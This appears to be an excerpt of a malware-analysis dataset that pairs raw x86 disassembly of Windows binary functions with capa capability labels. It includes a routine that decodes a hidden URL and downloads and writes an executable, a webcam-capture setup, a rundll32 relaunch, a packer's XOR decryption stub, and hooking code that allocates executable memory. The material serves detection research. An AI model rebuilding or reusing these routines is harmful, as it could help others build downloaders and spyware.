joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a470
Capabilities:
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1002e8f0]
push ebx
push esi
push edi
mov edi, 1
mov dword [ebp - 0x430], edx
push 0x19
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x428], edi
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0xcddbcbd1
mov dword [ebp - 0xc], 0xd0dad5d1
mov byte [ebp - 8], 0x9d
call fcn.100126ff
mov esi, eax
add esp, 4
mov ebx, esi
lea eax, [ebp - 0x1f]
mov edx, edi
sub ebx, eax
lea ecx, [ebp - 0x20]
mov al, 0xcc
add ecx, edx
sub al, dl
inc edx
xor al, byte [ecx]
mov byte [ebx + ecx], al
cmp edx, 0x18
jbe 0x1000a4e3
push 0
push 0
push 0
push 0
push esi
mov byte [esi + 0x18], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
movsx eax, byte [esi]
push eax
push 0
push esi
mov dword [ebp - 0x438], ebx
call fcn.10014920
push 1
push esi
call fcn.1001272f
add esp, 0x14
test ebx, ebx
je 0x1000a623
push 0
push connect
push 0
push 0
push dword [ebp - 0x42c]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x1000a623
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000a5fb
nop dword [eax]
push 0x400
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.10014920
add esp, 0xc
lea eax, [ebp - 0x424]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test edi, edi
je 0x1000a5c2
mov eax, 0x5a4d
cmp word [ebp - 0x420], ax
jne 0x1000a5ea
xor edi, edi
lea eax, [ebp - 0x434]
push edi
push eax
push dword [ebp - 0x424]
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x424], edi
ja 0x1000a580
jmp 0x1000a5f4
mov dword [ebp - 0x428], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x438]
call esi
mov al, byte [ebp - 0x428]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x1000a640
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0
mov edi, ecx
push 0
push 0
mov dword [edi], vtable.CVideoCap.0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [0x10033a1e], 0
mov dword [edi + 4], eax
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
jne 0x1000a7c6
push ebx
mov ebx, dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
xor al, al
push esi
xor esi, esi
test al, al
jne 0x1000a6bd
push 0x32
lea eax, [ebp - 0x40]
push eax
push 0x64
lea eax, [ebp - 0xa4]
push eax
push esi
call ebx
test eax, eax
setne al
inc esi
cmp esi, 0xa
jl 0x1000a694
test al, al
je 0x1000a7b3
cmp byte [0x10033a1e], 0
jne 0x1000a7b3
push 7
mov dword [ebp - 0xc], 0xfbf9e806
mov word [ebp - 8], 0xf0ff
mov byte [ebp - 6], 0xf6
call fcn.100126ff
mov ebx, eax
lea ecx, [ebp - 0xb]
mov esi, ebx
add esp, 4
mov eax, 1
sub esi, ecx
lea edx, [ebp - 0xc]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 6
jbe 0x1000a6f3
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push connect
push 0x1002e3a9
push str.32770
push 0
mov byte [ebx + 6], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [edi + 0x10], eax
xor eax, eax
push 1
mov dword [ebx], eax
push ebx
mov word [ebx + 4], ax
call fcn.1001272f
push 7
call fcn.100126ff
mov esi, eax
lea ecx, [ebp - 0xb]
mov ebx, esi
add esp, 0xc
mov eax, 1
sub ebx, ecx
nop dword [eax]
lea edx, [ebp - 0xc]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [ebx + edx], cl
cmp eax, 6
jbe 0x1000a760
push 0
mov byte [esi + 6], 0
push dword [edi + 0x10]
push 0
push 0
push 0
push 0
push 0x50000000
push esi
call dword [sym.imp.AVICAP32.dll_capCreateCaptureWindowA]
mov dword [edi + 0x14], eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [esi + 8], 0
push esi
mov word [esi + 0xc], 0
call fcn.1001272f
add esp, 8
pop esi
pop ebx
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x1000acee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
mov edx, ecx
mov dword [ebp - 4], edx
movzx eax, byte [esi]
add eax, 0xffffffe5
cmp eax, 3
ja case.default.0x1000acae
jmp dword [eax*4 + 0x1000ad78]
push dword [edx + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop esi
mov esp, ebp
pop ebp
ret 8
cmp dword [edx + 0x18], 0
je case.default.0x1000acae
mov ecx, 1
lea eax, [edx + 0x28]
xchg dword [eax], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
lea eax, [edx + 0x28]
xchg dword [eax], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov edi, dword [esi + 5]
lea ebx, [edx + 0x10]
mov esi, dword [esi + 1]
xor eax, eax
xchg dword [ebx], eax
push 0xffffffffffffffff
push dword [edx + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
mov eax, 1
mov dword [ecx + 0x20], esi
mov dword [ecx + 0x24], edi
xchg dword [ebx], eax
push 0
push 0
push 0
push 0
mov dword [ebp - 0x14], 0x1000ad90
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov dword [eax + 0x2c], esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000bdd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], 0x1000bd00
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call esi
push 0
push 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov edx, dword [0x10032990]
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1003288c]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10033c37], al
test al, al
jne 0x1000be40
push 0
push 0
push 0
push 0
mov dword [0x10033c30], edx
mov dword [ebp - 0x10], 0x1000b710
mov dword [ebp - 0xc], 0x10033c38
mov byte [ebp - 8], al
call esi
push 0
push 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000beb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10014920
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.10014920
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push dword [0x10033c28]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.rundll32.exe
lea eax, [ebp - 0x20c]
push str._s__s_MainApp
push eax
call fcn.1000b650
add esp, 0x10
mov dword [ebp - 0x250], 0x44
lea eax, [ebp - 0x260]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x244], 0
push eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x224], 1
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x220], 1
push eax
push 0
mov dword [ebp - 0x21c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x1000fd70
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000fd80
Function at 0x10012500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x10012525
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x1001253d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [esi + ebp]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x1001256b
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [edi + eax - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x100125aa
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x1001267e
sub edx, 0x10000
js 0x1001267e
movzx eax, word [esi + ecx - 1]
cmp eax, ebx
jne 0x10012590
mov eax, dword [esp + 4]
movzx eax, word [eax + ecx]
cmp eax, dword [esp + 0x10]
jne 0x10012590
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [edi + eax + 0x108]
lea esi, [esi + eax + 0x108]
mov eax, dword [esi + edx]
xor eax, dword [edi + edx]
jne 0x10012601
mov eax, dword [esi + edx + 4]
xor eax, dword [edi + edx + 4]
jne 0x100125fe
add edx, 8
jne 0x100125e5
jmp 0x1001266f
add edx, 4
test eax, 0xffff
jne 0x1001260e
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edi + edx]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x1001266f
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x10012642
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x10012590
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x1001267e
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi + eax - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x10012590
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x1001268f
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1e262d8d
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x7b5b0539
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10006538
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1f2ebec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.10017ad3
mov dword [esi], 0x1f314dc
lea edi, [esi + 0x3c]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x30]
mov dword [edi], 0x1f30918
call fcn.10004220
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 1
call fcn.10004220
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 2
call fcn.10004220
lea ecx, [edi + 0x6c]
mov byte [esp + 0x18], 3
call fcn.10004220
mov dword [edi], 0x1f30910
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 4
call fcn.100161ad
mov dword [esi + 0xd8], 0
mov dword [esi + 0xd4], 0x1f309e0
mov eax, dword [0x1f37f3c]
mov dword [esi + 0xdc], eax
lea ecx, [esi + 0xe0]
mov byte [esp + 0x18], 7
call fcn.10004220
lea ecx, [esi + 0xf4]
mov byte [esp + 0x18], 8
call fcn.100161ad
mov ecx, dword [esp + 0x10]
mov dword [esi], 0x1f30920
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x10006750
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1f2ecb4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x1f30920
lea ecx, [esi + 0xf4]
mov dword [esp + 0x18], 5
call fcn.100161d6
lea ecx, [esi + 0xe0]
mov byte [esp + 0x18], 4
mov dword [ecx], 0x1f304d4
call fcn.10004420
lea ecx, [esi + 0xdc]
mov byte [esp + 0x18], 3
call fcn.1001780e
lea ecx, [esi + 0xd4]
mov dword [esp + 0xc], ecx
mov dword [ecx], 0x1f3125c
mov byte [esp + 0x18], 6
call fcn.1001c1c7
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 1
call fcn.100161d6
lea edi, [esi + 0x3c]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x6c]
mov byte [esp + 0x18], 9
mov dword [ecx], 0x1f304d4
call fcn.10004420
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 8
mov dword [ecx], 0x1f304d4
call fcn.10004420
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x1f304d4
call fcn.10004420
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x1f304d4
call fcn.10004420
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.10015eb7
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1006aea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1006b040
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1006af64
cmp dword [ebp - 4], 0x50000000
jb 0x1006aee1
cmp dword [ebp - 4], 0x80000000
ja 0x1006aee1
mov dword [ebp - 4], 0x4fff0000
jmp 0x1006aeba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100754c0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1006af07
jmp 0x1006af64
cmp dword [ebp - 0x14], 0x10000
jne 0x1006af4a
cmp dword [ebp - 0x18], 0x10000
jb 0x1006af4a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1006af3d
mov eax, dword [ebp - 8]
jmp 0x1006af66
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1006af5f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1006b040
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1006aeba
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1006af70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1006b070
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1006b02c
cmp dword [ebp - 4], 0x50000000
jb 0x1006afac
cmp dword [ebp - 4], 0x80000000
ja 0x1006afac
mov dword [ebp - 4], 0x80010000
jmp 0x1006af85
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100754c0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1006afd2
jmp 0x1006b02c
cmp dword [ebp - 0x14], 0x10000
jne 0x1006b015
cmp dword [ebp - 0x18], 0x10000
jb 0x1006b015
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1006b008
mov eax, dword [ebp - 8]
jmp 0x1006b02e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1006b027
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1006b070
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1006af85
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1006b7a0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x1006b7b5
xor eax, eax
jmp 0x1006b82a
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x1006b7e2
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x1006b825
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x1006b823
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x1006b81f
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x1006b823
xor eax, eax
jmp 0x1006b82a
jmp 0x1006b7d9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1006b9f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x101de708]
mov dword [ebp - 4], eax
jmp 0x1006ba09
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1006ba26
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1006ba00
mov esp, ebp
pop ebp
ret
Function at 0x1006be70
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x101de718], eax
je 0x1006be8e
mov eax, 0x10dd
jmp 0x1006bf6f
mov eax, dword [0x101de728]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1006bf0c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1006beea
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1006beea
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1006b510
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.1006d309
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1006be96
mov dword [0x101de728], 0
call fcn.1006b830
mov ecx, dword [0x101de724]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1006bf59
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1006d309
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1006bf24
mov dword [0x101de724], 0
mov dword [0x101de718], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1006c460
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x101de71c], 0
je 0x1006c479
mov eax, dword [0x101de71c]
jmp 0x1006c519
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1006c48b
xor eax, eax
jmp 0x1006c519
push 8
call fcn.1006d448
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1006c4e1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1006c4ca
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.1006d309
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x101de71c], eax
mov dword [0x101de720], 0
mov eax, dword [ebp - 8]
jmp 0x1006c519
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1006c4fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1006c4ab
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x101de724]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x101de724], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4